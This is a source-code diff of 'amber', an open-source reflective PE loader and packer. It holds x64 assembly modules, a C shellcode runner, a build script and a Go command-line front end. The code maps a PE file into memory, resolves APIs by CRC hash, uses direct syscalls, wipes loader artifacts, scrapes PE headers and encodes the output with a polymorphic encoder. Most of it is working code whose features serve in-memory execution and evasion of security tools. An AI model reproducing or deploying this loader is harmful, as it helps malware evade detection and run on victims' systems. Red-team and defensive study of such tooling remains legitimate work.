echo "${RED}[-] ${RESET}${1}"
}
print_fatal() {
echo -e ${RED}"[!] $1\n${RESET}"
kill -10 $$
}
print_good() {
echo "${GREEN}[+] ${RESET}${1}"
}
print_status() {
echo "${YELLOW}[*] ${RESET}${1}"
}
nasm -f bin syscall-loader-x64.asm -o shellcode || print_fatal "nasm failed!"
print_status "Payload Size: `wc -c shellcode|cut -d' ' -f1`"
[[ -f shellcode ]] && xxd -i shellcode shellcode.h
x86_64-w64-mingw32-gcc stub.c -o test.exe || print_fatal "Compilation failed!"
cp test.exe /tmp/
rm shellcode shellcode.h
print_good "Build done!"
@@ -0,0 +1,34 @@
[BITS 64]
calc_crc:
test dx,dx
je loc_1400039c9
mov r8,rcx
movzx edx,dx
lea eax,[rdx-0x1]
lea rdx,[rcx+rax*1+0x1]
mov eax,0x0
loc_1400039b8:
crc32 eax,BYTE [r8]
add r8,0x1
cmp r8,rdx
jne loc_1400039b8
jmp loc_1400039ea
loc_1400039c9:
movzx edx,BYTE [rcx]
test dl,dl
je loc_1400039eb
add rcx,0x1
mov eax,0x0
loc_1400039d9:
crc32 eax,dl
add rcx,0x1
movzx edx,BYTE [rcx-0x1]
test dl,dl
jne loc_1400039d9
loc_1400039ea:
ret
loc_1400039eb:
mov eax,0x0
jmp loc_1400039ea
@@ -0,0 +1,37 @@
[BITS 64]
get_module_by_crc:
push rdi
push rsi
push rbx
sub rsp,0x20
mov esi,ecx
mov rax,QWORD gs:0x60
mov rax,QWORD [rax+0x18]
lea rdi,[rax+0x20]
mov rbx,QWORD [rax+0x20]
cmp rdi,rbx
je loc_140102e89
loc_140102e5d:
movzx edx,WORD [rbx+0x48]
mov rcx,QWORD [rbx+0x50]
call calc_crc
cmp eax,esi
je loc_140102e7d
mov rbx,QWORD [rbx]
cmp rdi,rbx
jne loc_140102e5d
mov eax,0x0
jmp loc_140102e81
loc_140102e7d:
mov rax,QWORD [rbx+0x20]
loc_140102e81:
add rsp,0x20
pop rbx
pop rsi
pop rdi
ret
loc_140102e89:
mov eax,0x0
jmp loc_140102e81
@@ -0,0 +1,139 @@
[BITS 64]
get_proc_by_crc:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp,0x258
mov rbx,rcx
mov r13d,edx
mov ebp,r8d
movsxd rax,DWORD [rcx+0x3c]
add rax,rcx
mov esi,DWORD [rax+0x88]
add rsi,rcx
mov eax,DWORD [rax+0x8c]
mov DWORD [rsp+0x2c],eax
mov r12d,DWORD [rsi+0x20]
mov r14d,DWORD [rsi+0x1c]
mov r15d,DWORD [rsi+0x24]
mov eax,DWORD [rsi+0x18]
test eax,eax
je loc_140003764
mov eax,eax
mov QWORD [rsp+0x20],rax
mov edi,0x0
add r12,rcx
loc_1400035dc:
mov ecx,DWORD [r12+rdi*4]
add rcx,rbx
mov edx,0x0
call calc_crc
cmp ebp,edi
je loc_14000360b
cmp eax,r13d
je loc_14000360b
add rdi,0x1
cmp QWORD [rsp+0x20],rdi
jne loc_1400035dc
mov eax,0x0
jmp loc_140003738
loc_14000360b:
lea rax,[rbx+rdi*2]
movzx eax,WORD [rax+r15*1]
lea rax,[rbx+rax*4]
mov eax,DWORD [rax+r14*1]
add rbx,rax
cmp rbx,rsi
jb loc_140003735
mov eax,DWORD [rsp+0x2c]
add rsi,rax
cmp rbx,rsi
jae loc_140003735
mov QWORD [rsp+0x30],0x0
mov QWORD [rsp+0x38],0x0
lea rdi,[rsp+0x40]
mov eax,0x0
mov ecx,0x1e
rep stosq
mov DWORD [rdi],0x0
mov QWORD [rsp+0x140],0x0
mov QWORD [rsp+0x148],0x0
lea rdi,[rsp+0x150]
mov ecx,0x1e
rep stosq
mov DWORD [rdi],0x0
cmp BYTE [rbx],0x2e
je loc_14000374c
mov eax,0x1
loc_14000369e:
mov r8,rax
add rax,0x1
cmp BYTE [rbx+rax*1-0x1],0x2e
jne loc_14000369e
mov esi,r8d
loc_1400036af:
lea rcx,[rsp+0x30]
mov rdx,rbx
call memcpy
lea ecx,[rsi+0x1]
movsxd rcx,ecx
add rcx,rbx
cmp BYTE [rcx],0x0
je loc_14000375c
mov eax,0x1
movsxd rdx,esi
add rdx,rbx
loc_1400036d9:
mov r8,rax
add rax,0x1
cmp BYTE [rdx+rax*1],0x0
jne loc_1400036d9
loc_1400036e6:
lea rax,[rsp+0x140]
mov rdx,rcx
mov rcx,rax
call memcpy
lea rcx,[rsp+0x30]
call load_module
mov rbx,rax
mov eax,0x0
test rbx,rbx
je loc_140003738
lea rcx,[rsp+0x140]
mov edx,0x0
call calc_crc
mov edx,eax
mov r8d,0xffffffff
mov rcx,rbx
call get_proc_by_crc
mov rbx,rax
loc_140003735:
mov rax,rbx
loc_140003738:
add rsp,0x258
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
loc_14000374c:
mov esi,0x0
mov r8d,0x0
jmp loc_1400036af
loc_14000375c:
mov r8d,0x0
jmp loc_1400036e6
loc_140003764:
mov eax,0x0
jmp loc_140003738
@@ -0,0 +1,60 @@
[BITS 64]
load_module:
push rdi
sub rsp,0x250
mov r8,rcx
mov QWORD [rsp+0x248],0x0
mov DWORD [rsp+0x234],0x0
lea rdi,[rsp+0x20]
mov ecx,0x41
mov eax,0x0
rep stosq
cmp BYTE [r8],0x0
je loc_140003873
mov edx,0x1
loc_1400037eb:
mov rax,rdx
add rdx,0x1
cmp BYTE [r8+rdx*1-0x1],0x0
jne loc_1400037eb
lea edx,[rax+rax*1]
mov WORD [rsp+0x230],dx
add edx,0x2
mov WORD [rsp+0x232],dx
lea rdx,[rsp+0x20]
mov QWORD [rsp+0x238],rdx
sub eax,0x1
js loc_140003837
cdqe
loc_140003824:
movsx dx,BYTE [r8+rax*1]
mov WORD [rsp+rax*2+0x20],dx
sub rax,0x1
test eax,eax
jns loc_140003824
loc_140003837:
lea r9,[rsp+0x248]
lea r8,[rsp+0x230]
mov edx,0x0
mov ecx,0x0
mov r10, 0xB4EBB9A4
call api_call
call rax ; <LdrLoadDll>
test eax,eax
js loc_14000386c
mov rax,QWORD [rsp+0x248]
loc_140003863:
add rsp,0x250
pop rdi
ret
loc_14000386c:
mov eax,0x0
jmp loc_140003863
loc_140003873:
mov WORD [rsp+0x230],0x0
mov WORD [rsp+0x232],0x2
lea rax,[rsp+0x20]
mov QWORD [rsp+0x238],rax
jmp loc_140003837
@@ -0,0 +1,63 @@
[BITS 64]
map_image:
push rbp
push rdi
push rsi
push rbx
sub rsp,0x48
mov rbp,rcx
movsxd rdi,DWORD [rcx+0x3c]
add rdi,rcx
mov eax,0x0
cmp DWORD [rdi],0x4550
jne loc_1400020b8
mov QWORD [rsp+0x38],0x0
mov eax,DWORD [rdi+0x50]
mov QWORD [rsp+0x30],rax
lea rdx,[rsp+0x38]
mov DWORD [rsp+0x28],0x4
mov DWORD [rsp+0x20],0x103000
lea r9,[rsp+0x30]
mov r8d,0x0
mov rcx,0xffffffffffffffff
mov r10, 0x99CE7C55
call api_call
mov r10,rax
call syscall_api
;call rax ; <NtAllocateVirtualMemory>
mov edx,eax
mov eax,0x0
test edx,edx
js loc_1400020b8
mov r8d,DWORD [rdi+0x54]
mov rdx,rbp
mov rcx,QWORD [rsp+0x38]
call memcpy
movzx eax,WORD [rdi+0x14]
lea rbx,[rdi+rax*1+0x18]
cmp WORD [rdi+0x6],0x0
je loc_1400020b3
mov esi,0x0
loc_14000208d:
mov ecx,DWORD [rbx+0xc]
add rcx,QWORD [rsp+0x38]
mov edx,DWORD [rbx+0x14]
add rdx,rbp
mov r8d,DWORD [rbx+0x10]
call memcpy
add esi,0x1
add rbx,0x28
movzx eax,WORD [rdi+0x6]
cmp eax,esi
jg loc_14000208d
loc_1400020b3:
mov rax,QWORD [rsp+0x38]
loc_1400020b8:
add rsp,0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
+17
View File
@@ -0,0 +1,17 @@
[BITS 64]
; memcpy(&dst, &src, size)
; RCX = &dst
; RDX = &src
; R8 = size
memcpy:
push rsi
push rdi
mov rdi,rcx
mov rsi,rdx
mov rcx,r8
copy_byte:
rep movsb ; Copy the CX number of bytes from RSI to RDI
pop rdi ; Restore RDI
pop rsi ; Restore RSI
ret ; Return
@@ -0,0 +1,133 @@
[BITS 64]
protect_sections:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp,0x50
mov rbp,rcx
movsxd rdi,DWORD [rcx+0x3c]
add rdi,rcx
movzx eax,WORD [rdi+0x14]
lea rbx,[rdi+rax*1+0x18]
mov QWORD [rsp+0x48],0x0
cmp WORD [rdi+0x6],0x0
je loc_140002e87
mov esi,0x0
mov r12d,0x0
lea r14,[rsp+0x40]
lea r13,[rsp+0x48]
jmp loc_140002f50
loc_140002e38:
mov ecx,0x1
loc_140002e3d:
and eax,0x60000000
mov r8d,0x1
cmp eax,0x60000000
mov r9d,0x20
mov eax,0x80
cmovne r9d,eax
jmp loc_140002eed
loc_140002e61:
mov r9d,0x20
jmp loc_140002efd
loc_140002e6c:
mov eax,0x0
jmp loc_140002e78
loc_140002e73:
mov eax,0x1
loc_140002e78:
add rsp,0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
loc_140002e87:
mov eax,0x1
jmp loc_140002e78
loc_140002e8e:
mov ecx,0x1
mov r8d,r12d
mov r9d,0x10
jmp loc_140002edd
loc_140002e9e:
mov ecx,r12d
test eax,0x20000000
je loc_140002eda
mov ecx,0x0
test eax,eax
js loc_140002e3d
mov ecx,eax
shr ecx,0x1f
mov r8d,ecx
mov ecx,r12d
mov r9d,0x10
jmp loc_140002edd
loc_140002ec4:
test eax,0x20000000
jne loc_140002e38
mov ecx,0x1
mov r9d,0x4
loc_140002eda:
mov r8d,r12d
loc_140002edd:
and eax,0x60000000
cmp eax,0x60000000
je loc_140002e61
loc_140002eed:
test cl,cl
je loc_140002efd
test r8b,r8b
mov eax,0x40
cmovne r9d,eax
loc_140002efd:
mov eax,DWORD [rdx+0xc]
add rax,rbp
mov QWORD [rsp+0x48],rax
mov eax,DWORD [rdx+0x10]
mov QWORD [rsp+0x40],rax
mov DWORD [rsp+0x3c],0x0
lea rax,[rsp+0x3c]
mov QWORD [rsp+0x20],rax
mov r8,r14
mov rdx,r13
mov rcx,0xffffffffffffffff
mov r10, 0x6EDE4D41
call api_call
mov r10,rax ; <NtProtectVirtualMemory>
call syscall_api
test eax,eax
js loc_140002e6c
loc_140002f3d:
add esi,0x1
add rbx,0x28
movzx eax,WORD [rdi+0x6]
cmp eax,esi
jle loc_140002e73
loc_140002f50:
mov rdx,rbx
mov eax,DWORD [rbx+0x24]
test eax,eax
je loc_140002f3d
mov r9d,eax
sar r9d,0x1f
and r9d,0xffffffc8
add r9d,0x40
test eax,0x40000000
je loc_140002e9e
test eax,eax
js loc_140002ec4
test eax,0x20000000
jne loc_140002e8e
mov ecx,0x1
mov r9d,0x2
jmp loc_140002eda
@@ -0,0 +1,58 @@
[BITS 64]
relocate_image:
mov r9,rcx
movsxd rdx,DWORD [rcx+0x3c]
add rdx,rcx
mov eax,DWORD [rdx+0xb0]
mov ecx,0x0
test eax,eax
je loc_14000261a
mov eax,eax
lea rcx,[r9+rax*1]
mov r10,r9
sub r10,QWORD [rdx+0x30]
cmp DWORD [rcx],0x0
jne loc_140002601
mov ecx,0x1
jmp loc_14000261a
loc_1400025bd:
mov edx,DWORD [rcx]
movzx r8d,WORD [rax]
and r8d,0xfff
add rdx,r8
add QWORD [r9+rdx*1],r10
loc_1400025d1:
add rax,0x2
mov edx,DWORD [rcx+0x4]
add rdx,rcx
cmp rax,rdx
je loc_1400025f9
loc_1400025e0:
movzx edx,BYTE [rax+0x1]
mov r8d,edx
and r8d,0xfffffff0
cmp r8b,0xa0
je loc_1400025bd
cmp dl,0xf
jbe loc_1400025d1
jmp loc_1400025d1
loc_1400025f9:
mov rcx,rax
loc_1400025fc:
cmp DWORD [rcx],0x0
je loc_140002615
loc_140002601:
lea rax,[rcx+0x8]
mov edx,DWORD [rcx+0x4]
add rdx,rcx
cmp rax,rdx
jne loc_1400025e0
mov rcx,rdx
jmp loc_1400025fc
loc_140002615:
mov ecx,0x1
loc_14000261a:
mov eax,ecx
ret
@@ -0,0 +1,85 @@
[BITS 64]
resolve_imports:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp,0x20
mov rbp,rcx
movsxd rax,DWORD [rcx+0x3c]
mov eax,DWORD [rcx+rax*1+0x90]
mov edx,0x0
test eax,eax
je loc_140002966
mov eax,eax
lea r12,[rcx+rax*1]
mov ecx,DWORD [r12+0xc]
test ecx,ecx
jne loc_14000292f
mov edx,0x1
jmp loc_140002966
loc_1400028cf:
mov edx,0x0
mov rcx,rdi
call get_proc_by_crc
test rax,rax
je loc_1400028e4
mov QWORD [rsi],rax
loc_1400028e4:
add rbx,0x8
add rsi,0x8
mov r8,QWORD [rbx]
test r8,r8
je loc_140002922
loc_1400028f4:
test r8,r8
js loc_1400028cf
lea rcx,[rbp+r8*1+0x2]
mov edx,0x0
call calc_crc
mov edx,eax
mov r8d,0xffffffff
mov rcx,rdi
call get_proc_by_crc
test rax,rax
je loc_1400028e4
mov QWORD [rsi],rax
loc_140002920:
jmp loc_1400028e4
loc_140002922:
add r12,0x14
mov ecx,DWORD [r12+0xc]
test ecx,ecx
je loc_14000295a
loc_14000292f:
mov ecx,ecx
add rcx,rbp
call load_module
mov rdi,rax
test rax,rax
je loc_140002961
mov ebx,DWORD [r12]
add rbx,rbp
mov esi,DWORD [r12+0x10]
add rsi,rbp
mov r8,QWORD [rbx]
test r8,r8
jne loc_1400028f4
jmp loc_140002922
loc_14000295a:
mov edx,0x1
jmp loc_140002966
loc_140002961:
mov edx,0x0
loc_140002966:
mov eax,edx
add rsp,0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
@@ -0,0 +1,36 @@
[BITS 64]
run_tls_callbacks:
push rsi
push rbx
sub rsp,0x28
mov rsi,rcx
movsxd rax,DWORD [rcx+0x3c]
mov eax,DWORD [rcx+rax*1+0xd0]
mov edx,0x0
test eax,eax
je loc_1400033ad
mov eax,eax
mov rbx,QWORD [rcx+rax*1+0x18]
mov edx,0x1
test rbx,rbx
jne loc_1400033ca
loc_1400033ad:
mov eax,edx
add rsp,0x28
pop rbx
pop rsi
ret
loc_1400033b6:
mov r8d,0x0
mov edx,0x1
mov rcx,rsi
call rax
add rbx,0x8
loc_1400033ca:
mov rax,QWORD [rbx]
test rax,rax
jne loc_1400033b6
mov edx,0x1
jmp loc_1400033ad
+10
View File
@@ -0,0 +1,10 @@
#include <windows.h>
#include "shellcode.h"
int main(int argc, char const *argv[])
{
char* BUFFER = (char*)VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(BUFFER, shellcode, sizeof(shellcode));
(*(void(*)())BUFFER)();
return 0;
}
@@ -0,0 +1,62 @@
;#==============================================#
;# X64 Reflective Loader #
;# Author: Ege Balcı <egebalci@pm.me> #
;# Version: 3.0 #
;#==============================================#
;
[BITS 64]
%define e_lfanew 0x3C
%define _AddressOfEntry 0x28
call start ; Get the address of PE image to stack
incbin "putty.exe" ; PE file.
start:
pop rsi ; Get the address of PE to RSI
push rbp ; Save RBP
mov rbp,rsp ; Create a stack frame
mov rcx,rsi ; Move the image address as first parameter
call map_image ; Perform PE image mapping
mov rdi, rax ; Get the address of mapped PE image into RDI
mov rcx, rdi ; Move a copy of the mapped image address into RCX as first parameter
call resolve_imports ; Resolve image imports
mov rcx, rdi ; Set the mapped image address as first parameter
call relocate_image ; Perform image base relocation
mov rcx, rdi ; Set the mapped image address as first parameter
call protect_sections ; Apply proper section memory protections
mov rcx, rdi ; Set the mapped image address as first parameter
call run_tls_callbacks ; Try to execute TLS callbacks. May fail... ¯\_(ツ)_/¯
xor rax, rax ; Clear out RAX
mov eax, DWORD [rdi+e_lfanew] ; Get the file header offset
mov eax, DWORD [rdi+rax+_AddressOfEntry] ; Get the AddressOfEntry into EAX
add rax,rdi ; Add the AOE onto new image base
jmp wipe ; Start wiping memory artifacts...
; ------------------------ FUNCTIONS ------------------------------------
%include "./inc/memcpy.asm"
%include "./inc/calc_crc.asm"
%include "./inc/map_image.asm"
%include "./inc/load_module.asm"
%include "./inc/relocate_image.asm"
%include "./inc/resolve_imports.asm"
%include "./inc/get_proc_by_crc.asm"
%include "./inc/get_module_by_crc.asm"
%include "./inc/protect_sections.asm"
%include "./inc/run_tls_callbacks.asm"
%include "../crc32_api/crc32_api_x64.asm"
%include "../syscall_api/syscall_api.asm"
;------------------------ FUNCTIONS -------------------------------------
wipe:
wipe_code_size equ wipe_end-(wipe)
call $+5 ; Get current EIP to stack
pop rcx ; Pop currect EIP to RCX
sub rcx,rsi ; Calculate the size of the PE file
add rcx,wipe_code_size ; Add the size of wipe code
mov rdi,rsi ; Move the PE address to RDI
sub rdi,0x5 ; Go back 5 bytes for wiping the initial call as well
wipe_end:
rep stosb ; Store AL into RDI and decrement RDI until RCX = 0
; -------------------- SWITCH TO PE ----------------------------
cld ; Clear direction flags
mov rsp, rbp ; Restore stack frame
pop rbp ; Restore RBP
jmp rax ; Jmp to the PE->AOE
Submodule loader/syscall_api added at 5bcbda0dab
+46 -94
View File
@@ -1,17 +1,13 @@
package main
import (
"flag"
"fmt"
"log"
"os"
"path/filepath"
"runtime"
"strings"
"time"
"github.com/EgeBalci/amber/config"
amber "github.com/EgeBalci/amber/pkg"
"github.com/EgeBalci/amber/utils"
sgn "github.com/EgeBalci/sgn/pkg"
"github.com/briandowns/spinner"
"github.com/fatih/color"
)
@@ -20,68 +16,63 @@ import (
var spinr = spinner.New(spinner.CharSets[9], 30*time.Millisecond)
func main() {
banner()
// Create a FlagSet and sets the usage
fs := flag.NewFlagSet(filepath.Base(os.Args[0]), flag.ExitOnError)
// Configure the options from the flags/config file
bp, encoder, err := config.ConfigureOptions(fs, os.Args[1:])
printBanner()
cfg, err := config.Parse()
if err != nil {
config.PrintUsageErrorAndDie(err)
utils.PrintFatal(err)
}
green := color.New(color.FgGreen).Add(color.Bold)
spinr.Start()
status("File: %s\n", bp.FileName)
status("Build Stub: %t\n", bp.BuildStub)
status("Encode Count: %d\n", encoder.EncodingCount)
if bp.IAT {
status("API: IAT\n")
} else {
status("API: CRC\n")
encoder := sgn.NewEncoder()
encoder.EncodingCount = cfg.EncodeCount
encoder.ObfuscationLimit = cfg.ObfuscationLimit
cfg.PrintSummary()
// ------------------------------
pe, err := amber.Open(cfg.FileName)
if err != nil {
utils.PrintFatal(err)
}
// First analyze PE and generate a blueprint
spinr.Suffix = " Analyzing PE file..."
eror(bp.Analyze())
if !bp.HasRelocData {
statusBad("%s has no relocation data.\n", bp.FileName)
if bp.ImageBase != 0x400000 {
statusBad("Can't switch to fixed address loader because ImageBase mismatch!\n")
}
status("Switching to fixed address loader...\n")
pe.SyscallLoader = cfg.UseSyscalls
if !pe.HasRelocData {
utils.PrintErr("%s has no relocation data. Exiting...\n", pe.Name)
return
// if pe.ImageBase != 0x400000 {
// utils.PrintErr("Can't switch to fixed address loader because ImageBase mismatch!\n")
// }
// utils.PrintStatus("Switching to fixed address loader...\n")
}
payload, err := pe.AssembleLoader()
if err != nil {
utils.PrintFatal(err)
}
spinr.Suffix = " Assembling reflective payload..."
payload, err := bp.AssemblePayload()
eror(err)
if encoder.EncodingCount > 0 {
spinr.Start()
spinr.Suffix = " Encoding reflective payload..."
encoder.SetArchitecture(bp.Architecture)
encoder.SetArchitecture(pe.Architecture)
payload, err = encoder.Encode(payload)
eror(err)
if err != nil {
utils.PrintFatal(err)
}
spinr.Stop()
}
if !bp.BuildStub {
bp.FullFileName += ".bin"
} else {
// Construct EXE stub
spinr.Suffix = " Building EXE stub..."
payload, err = bp.CompileStub(payload)
eror(err)
bp.FullFileName = strings.ReplaceAll(bp.FullFileName, filepath.Ext(bp.FullFileName), "_packed.exe")
outFile, err := os.Create(cfg.OutputFile)
if err != nil {
utils.PrintFatal(err)
}
spinr.Stop()
outFile, err := os.Create(bp.FullFileName)
eror(err)
outFile.Write(payload)
defer outFile.Close()
finSize, err := amber.GetFileSize(bp.FullFileName)
eror(err)
status("Final Size: %d bytes\n", finSize)
status("Build File: %s\n", bp.FileName)
green.Println("[✔] Reflective PE generated !")
finSize, err := utils.GetFileSize(cfg.OutputFile)
if err != nil {
utils.PrintFatal(err)
}
utils.PrintStatus("Final Size: %d bytes\n", finSize)
utils.PrintStatus("Output File: %s\n", cfg.OutputFile)
utils.PrintGreen("[✔] Reflective PE generated !\n")
}
// BANNER .
@@ -98,48 +89,9 @@ const BANNER string = `
`
func banner() {
func printBanner() {
green := color.New(color.FgGreen).Add(color.Bold)
red := color.New(color.FgRed).Add(color.Bold)
blue := color.New(color.FgBlue).Add(color.Bold)
red.Printf(BANNER, green.Sprintf("v%s", amber.VERSION), blue.Sprintf("https://github.com/egebalci/amber"))
}
func status(formatstr string, a ...interface{}) {
if spinr.Active() {
spinr.Stop()
}
yellow := color.New(color.FgYellow).Add(color.Bold)
yellow.Print("[*] ")
fmt.Printf(formatstr, a...)
spinr.Start()
}
func statusBad(formatstr string, a ...interface{}) {
if spinr.Active() {
spinr.Stop()
}
red := color.New(color.FgRed).Add(color.Bold)
white := color.New(color.FgWhite).Add(color.Bold)
red.Print("[!] ")
white.Printf(formatstr, a...)
spinr.Start()
}
func eror(err error) {
if err != nil {
if spinr.Active() {
spinr.Stop()
}
red := color.New(color.FgRed).Add(color.Bold)
pc, _, _, ok := runtime.Caller(1)
details := runtime.FuncForPC(pc)
if ok && details != nil {
red.Print("[x] ")
log.Fatalf("%s: %s\n", strings.ToUpper(strings.Split(details.Name(), ".")[1]), err)
} else {
red.Print("[x] ")
log.Fatal(err)
}
}
red.Printf(BANNER, green.Sprintf("v%s", config.Version), blue.Sprintf("https://github.com/egebalci/amber"))
}
+166 -33
View File
@@ -1,27 +1,37 @@
package amber
import (
pe "github.com/EgeBalci/debug/pe"
"bytes"
"encoding/binary"
"errors"
"path/filepath"
"github.com/EgeBalci/keystone-go"
"github.com/EgeBalci/amber/utils"
pe "github.com/EgeBalci/debug/pe"
)
// VERSION number
const VERSION = "3.1.0"
const (
PE_DOS_STUB = "This program cannot be run in DOS mode"
)
var (
ErrUnsupportedArch = errors.New("unsupported PE file architecture")
ErrInvalidPeSpecs = errors.New("unsupported PE file specs")
ErrInvalidPeHeaders = errors.New("invalid PE headers")
)
// Blueprint structure contains PE specs, tool parameters and
// OS spesific info
type Blueprint struct {
// Parameters...
FileName string
FullFileName string
type PE struct {
Name string
FullName string
FileSize int
IAT bool
Resource bool
IgnoreIntegrity bool
BuildStub bool
CustomStubName string
CustomStub []byte
IatResolver bool
SyscallLoader bool
ScrapeHeaders bool
// PE specs...
Architecture int
SizeOfImage uint32
@@ -43,31 +53,154 @@ type Blueprint struct {
file *pe.File
}
// Assemble assembles the given instruction assembly code
func (bp *Blueprint) Assemble(asm string) ([]byte, bool) {
var mode keystone.Mode
switch bp.Architecture {
case 32:
mode = keystone.MODE_32
case 64:
mode = keystone.MODE_64
func Open(fileName string) (bp *PE, err error) {
bp = new(PE)
bp.Name = fileName
bp.FullName, err = filepath.Abs(fileName)
if err != nil {
return
}
bp.file, err = pe.Open(bp.FullName)
if err != nil {
return
}
switch bp.file.FileHeader.Machine {
case pe.IMAGE_FILE_MACHINE_I386:
bp.Architecture = 32
case pe.IMAGE_FILE_MACHINE_AMD64:
bp.Architecture = 64
default:
return nil, false
return nil, ErrUnsupportedArch
}
ks, err := keystone.New(keystone.ARCH_X86, mode)
if err != nil {
return nil, false
}
defer ks.Close()
// Fetch OptionalHeader values to blueprint
switch hdr := (bp.file.OptionalHeader).(type) {
case *pe.OptionalHeader32:
// cast those back to a uint32 before use in 32bit
bp.ImageBase = uint64(hdr.ImageBase)
bp.Subsystem = hdr.Subsystem
bp.SizeOfImage = hdr.SizeOfImage
//err = ks.Option(keystone.OPT_SYNTAX, keystone.OPT_SYNTAX_INTEL)
err = ks.Option(keystone.OPT_SYNTAX, keystone.OPT_SYNTAX_NASM)
if err != nil {
return nil, false
}
//log.Println(asm)
bin, _, ok := ks.Assemble(asm, 0)
return bin, ok
bp.IsDLL = bp.file.Characteristics == (bp.file.Characteristics | pe.IMAGE_FILE_DLL)
bp.HasRelocData = hdr.DataDirectory[5].Size != 0x00
bp.HasBoundedImports = hdr.DataDirectory[11].Size != 0x00
bp.HasDelayedImports = hdr.DataDirectory[13].Size != 0x00
bp.IsCLR = hdr.DataDirectory[14].Size != 0x00
bp.ExportTable = uint64(hdr.DataDirectory[0].VirtualAddress + uint32(hdr.ImageBase))
bp.ImportTable = uint64(hdr.DataDirectory[1].VirtualAddress + uint32(hdr.ImageBase))
bp.RelocTable = uint64(hdr.DataDirectory[5].VirtualAddress + uint32(hdr.ImageBase))
bp.ImportAdressTable = uint64(hdr.DataDirectory[12].VirtualAddress + uint32(hdr.ImageBase))
case *pe.OptionalHeader64:
bp.ImageBase = hdr.ImageBase
bp.Subsystem = hdr.Subsystem
bp.SizeOfImage = hdr.SizeOfImage
bp.IsDLL = bp.file.Characteristics == (bp.file.Characteristics | pe.IMAGE_FILE_DLL)
bp.HasRelocData = hdr.DataDirectory[5].Size != 0x00
bp.HasBoundedImports = hdr.DataDirectory[11].Size != 0x00
bp.HasDelayedImports = hdr.DataDirectory[13].Size != 0x00
bp.IsCLR = hdr.DataDirectory[14].Size != 0x00
bp.ExportTable = uint64(hdr.DataDirectory[0].VirtualAddress + uint32(hdr.ImageBase))
bp.ImportTable = uint64(hdr.DataDirectory[1].VirtualAddress + uint32(hdr.ImageBase))
bp.RelocTable = uint64(hdr.DataDirectory[5].VirtualAddress + uint32(hdr.ImageBase))
bp.ImportAdressTable = uint64(hdr.DataDirectory[12].VirtualAddress + uint32(hdr.ImageBase))
}
bp.FileSize, err = utils.GetFileSize(bp.FullName)
return
}
// AssemblePayload generates the binary stub bla bla...
func (pe *PE) AssembleLoader() ([]byte, error) {
var (
rawFile = pe.file.RawBytes
err error
)
if pe.ScrapeHeaders {
rawFile, err = pe.ScrapePeHeaders()
if err != nil {
return nil, err
}
}
// Add a call over the given binary
payload, err := pe.AddCallOver(rawFile)
if err != nil {
return nil, err
}
// Decide on the architecture, API block, and loader types...
// we have 3 pre-assembled loaders for public version of amber.
switch pe.Architecture {
case 32:
if pe.SyscallLoader {
return nil, errors.New("syscall loader only supports 64 bit PE files")
}
payload = append(payload, LOADER_32...)
case 64:
if pe.SyscallLoader {
payload = append(payload, SYSCALL_LOADER_64...)
} else {
payload = append(payload, LOADER_64...)
}
default:
return nil, ErrUnsupportedArch
}
if pe.IatResolver {
if pe.SyscallLoader {
return nil, errors.New("cannot use IAT resolver with syscall loader")
}
switch pe.Architecture {
case 32:
payload = bytes.ReplaceAll(payload, CRC_API_32, IAT_API_32)
case 64:
payload = bytes.ReplaceAll(payload, CRC_API_64, IAT_API_64)
}
}
return payload, nil
}
// AddCallOver function adds a call instruction at the beginning of the given payload
// address of the payload will be pushed to the stack and execution will continue after the end of payload
func (pe *PE) AddCallOver(payload []byte) ([]byte, error) {
// // Perform a short call over the payload
size := uint32(len(payload))
buf := new(bytes.Buffer)
err := binary.Write(buf, binary.LittleEndian, size)
if err != nil {
return nil, err
}
return append(append([]byte{0xe8}, buf.Bytes()...), payload...), nil
}
func (pe *PE) ScrapePeHeaders() ([]byte, error) {
rawFile, err := pe.file.Bytes()
if err != nil {
return nil, err
}
// Scrape MZ magic bytes...
if rawFile[0] == 'M' &&
rawFile[1] == 'Z' {
rawFile[0] = 0x00
rawFile[1] = 0x00
} else {
return nil, ErrInvalidPeHeaders
}
// Scrape the DOS stub message...
if bytes.Contains(rawFile, []byte(PE_DOS_STUB)) {
return nil, ErrInvalidPeHeaders
}
return bytes.Replace(rawFile, []byte(PE_DOS_STUB), make([]byte, len(PE_DOS_STUB)), 1), nil
}
-114
View File
@@ -1,114 +0,0 @@
package amber
import (
"errors"
"io/ioutil"
"path/filepath"
pe "github.com/EgeBalci/debug/pe"
)
// Analyze returns a Blueprint structure for the given PE file name
func (bp *Blueprint) Analyze() error {
abs, err := filepath.Abs(bp.FileName)
if err != nil {
return err
}
// Set absolute file name
bp.FullFileName = abs
peFile, err := pe.Open(bp.FullFileName)
if err != nil {
return err
}
bp.file = peFile
arch, err := getPEfileArchitecture(bp.FullFileName)
if err != nil {
return err
}
bp.Architecture = arch
if bp.CustomStubName != "" {
arch, err := getPEfileArchitecture(bp.CustomStubName)
if err != nil {
return err
}
if arch != bp.Architecture {
return errors.New("custom stub architecture mismatch")
}
stub, err := ioutil.ReadFile(bp.CustomStubName)
if err != nil {
return err
}
bp.CustomStub = stub
} else {
bp.CustomStub = nil
}
// Fetch OptionalHeader values to blueprint
switch hdr := (peFile.OptionalHeader).(type) {
case *pe.OptionalHeader32:
// cast those back to a uint32 before use in 32bit
bp.ImageBase = uint64(hdr.ImageBase)
bp.Subsystem = hdr.Subsystem
bp.SizeOfImage = hdr.SizeOfImage
bp.IsDLL = peFile.Characteristics == (peFile.Characteristics | pe.IMAGE_FILE_DLL)
bp.HasRelocData = hdr.DataDirectory[5].Size != 0x00
bp.HasBoundedImports = hdr.DataDirectory[11].Size != 0x00
bp.HasDelayedImports = hdr.DataDirectory[13].Size != 0x00
bp.IsCLR = hdr.DataDirectory[14].Size != 0x00
bp.ExportTable = uint64(hdr.DataDirectory[0].VirtualAddress + uint32(hdr.ImageBase))
bp.ImportTable = uint64(hdr.DataDirectory[1].VirtualAddress + uint32(hdr.ImageBase))
bp.RelocTable = uint64(hdr.DataDirectory[5].VirtualAddress + uint32(hdr.ImageBase))
